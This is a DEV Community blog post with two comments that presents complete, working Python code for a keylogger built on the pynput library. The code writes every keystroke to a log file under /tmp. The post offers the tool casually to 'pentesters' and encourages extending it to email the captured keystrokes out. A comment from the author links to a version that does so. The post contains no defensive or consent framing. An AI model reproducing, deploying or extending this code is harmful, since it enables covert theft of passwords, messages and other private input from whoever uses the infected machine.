DEV Community

Cover image for Keylogger in just 20 lines of code
ablil
ablil

Posted on

Keylogger in just 20 lines of code

I am sure you have already heard the term keylogger since you're a geek and you're visiting this website.

If you don’t know, let me explain very quickly, a Keylogger as its name indicates, is a tool that captures your keystroke* and saves them somewhere.

If you're a pentester, I am sure you have such tools in your bag πŸ’».

We are using python as a scripting language and pynput library to capture keyboard events.

Here is the full code, exactly 20 lines, the code explains itself.

class Keylogger:                                                                          
    def __init__(self):                                                                   
        self.keylogs = '/tmp/keylogs.logs'                                                
        self.keylogsfile = open(self.keylogs, 'a+')                                       

    def callback(self, key):                                                              
        try:                                                                              
            self.keylogsfile.write(key.char)                                              
        except AttributeError:                                                            
            special_key = str(key)                                                        
            if special_key == 'Key.enter':                                                
                special_key = '\n'                                                        
            if special_key == 'Key.space':                                                
                special_key = ' '                                                         
            self.keylogsfile.write(special_key)                                           

    def run(self):                                                                        
        with keyboard.Listener(on_press=self.callback) as l:                       
            l.join()                                                               

    def stop(self):                                                                       
        self.keylogsfile.close() 
Enter fullscreen mode Exit fullscreen mode

If you have time, you could extend this code to send captured keystrokes via email periodically πŸ˜‰

Top comments (2)

Collapse
 
arwazkhan189 profile image
Arwaz Khan

Good idea, I will try it in my free time.πŸ™‚πŸ‘

Collapse
 
ablil profile image
ablil

I have added the option to send captured keystrokes via email, feel free to play around with it πŸ˜‰
github.com/ablil/utilities/blob/ma...